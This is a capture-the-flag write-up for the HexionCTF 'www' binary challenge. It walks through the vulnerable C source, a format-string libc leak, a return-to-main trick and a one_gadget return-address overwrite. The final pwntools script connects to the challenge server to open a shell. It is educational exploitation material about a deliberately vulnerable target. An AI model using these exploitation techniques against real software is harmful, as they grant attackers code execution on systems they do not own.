A nice little challenge with no bug hunting required. We can write what where, do where do we write what?
We're provided with the binary, its source code, and the libc running on the server. A look at the source makes the end goal easy to spot:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void write(char what, long long int where, char* buf) {
buf[where] = what;
}
char what() {
char what;
scanf("%c", &what);
getchar();
return what;
}
long long int where() {
long long int where;
scanf("%lld", &where);
getchar();
return where;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
int amount = 1;
char buf[] = "Hello World!";
while (amount--) {
write(what(), where(), buf);
}
printf(buf);
}
So we can write a single byte wherever we like. what()
takes a single byte, where
takes a double long int. It then writes the byte we specify at an integer offset from buf
. Ultimately, buf
is an address in the stack of the main function.
We also have a call to prinft
at the end of the binary, being passed an argument without a format specifier. Interesting!
What about protections?
gef➤ checksec
[+] checksec for '/home/grub/ctf/hexion/www'
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
Nothing too serious.
The first thing to notice is that the number of writes we are allowed is determined by a local variable in main. We're definitely going to be needing more than one write, so our first goal should be to overwrite this counter to free ourselves of the single write limitation.
A bit of trial and error (and maybe thought?) leads us to determine that the least significant byte of the amount
variable is at an offset of -7 from buf
.
If we can write an arbitrary number of bytes wherever we want, we have essentially won. We can either write a rop chain for shell, or maybe if we're lucky, overwrite a return address with a one-gadget.
Our first job is overwriting the counter and getting a libc leak. The helpful unparameterised printf
call is going to be useful for the leak. We can simply use our write primitive to overwrite the 'Hello World!' string with a format string to leak an address from the stack. Some trial and error reveals that a libc address lives at offset 29 on the stack, so our format string shoud look like "%29$lx "
. Let's start writing our exploit:
from pwn import *
p = remote("challenges1.hexionteam.com", 3002)
fmt = "%29$lx "
p.sendline("-7") # overwrite the counter variable
p.sendline(p8(len(fmt)) # we need to write len(fmt) times
# write each character of the fmt string
for i in range(len(fmt)):
p.sendline(str(i))
p.sendline(fmt[i])
libc_leak = int(p.recv(1024).split()[0],16)
libc_base = libc_leak - 0x401733
log.info("Libc Leak: " + hex(libc_base))
Alright, so we can leak a libc address. But there's a problem; in order to get the result of the leak, we have to let the binary's main function return, which means we stop being able to write. To fix this, we need to return back into main in order to be able to reuse the vulnerable code. Let's adjust the code we have above:
fmt = "%29$lx "
main = p64(0x400778)
p.sendline("-7")
p.sendline(p8(len(fmt)+len(main)))
for i in range(len(fmt)):
p.sendline(str(i))
p.sendline(fmt[i])
for i in range(len(main)):
p.sendline(str(45+i))
p.sendline(main[i])
libc_leak = int(p.recv(1024).split()[0],16)
libc_base = libc_leak - 0x401733
log.info("Libc Leak: " + hex(libc_base))
We're cooking with gas. Last thing to do is overwrite the return address a second time, this time with a one gadget. I used one_gadget
to find one at offset 0x4f2c5
in the provided libc version.
the rest of our exploit looks like this:
win = p64(libc_base + 0x4f2c5)
p.sendline("-7")
p.sendline(p8(len(win)))
for i in range(len(win)):
p.sendline(str(45+i))
p.sendline(win[i])
p.interactive()
Everything looks right, but when we run in locally we get a segfault at the following instruction:
0x7f48ed5a54c4 <_IO_vfscanf+644> mov QWORD PTR [rbp-0x608], rax
0x7f48ed5a54cb <_IO_vfscanf+651> movzx eax, BYTE PTR [rbx+0x1]
0x7f48ed5a54cf <_IO_vfscanf+655> movhps xmm0, QWORD PTR [rbp-0x608]
→ 0x7f48ed5a54d6 <_IO_vfscanf+662> movaps XMMWORD PTR [rbp-0x470], xmm0
0x7f48ed5a54dd <_IO_vfscanf+669> sub eax, 0x30
0x7f48ed5a54e0 <_IO_vfscanf+672> cmp eax, 0x9
0x7f48ed5a54e3 <_IO_vfscanf+675> jbe 0x7f48ed5a5680 <_IO_vfscanf_internal+1088>
0x7f48ed5a54e9 <_IO_vfscanf+681> xor esi, esi
0x7f48ed5a54eb <_IO_vfscanf+683> cmp QWORD PTR [rbp-0x648], 0x0
After some googling a stack overflow question gives the following useful hint:
The x86-64 System V ABI guarantees 16-byte stack alignment before a call, so libc system is allowed to take advantage of that for 16-byte aligned loads/stores. If you break the ABI, it's your problem if things crash.
So our payload has messed with the stack alignment. All we have to do is add a ret
to our tiny rop chain and the exploit should work.
Final exploit:
from pwn import *
p = remote("challenges1.hexionteam.com", 3002)
fmt = "%29$lx "
main = p64(0x000000000040056e) + p64(0x400778)
p.sendline("-7")
p.sendline(p8(len(fmt)+len(main)))
for i in range(len(fmt)):
p.sendline(str(i))
p.sendline(fmt[i])
for i in range(len(main)):
p.sendline(str(45+i))
p.sendline(main[i])
libc_leak = int(p.recv(1024).split()[0],16)
libc_base = libc_leak - 0x401733
log.info("Libc Leak: " + hex(libc_base))
win = p64(libc_base + 0x4f2c5)
p.sendline("-7")
p.sendline(p8(len(win)))
for i in range(len(win)):
p.sendline(str(45+i))
p.sendline(win[i])
p.interactive()
Flag: hexCTF{wh0_wh1ch_why_wh3n?}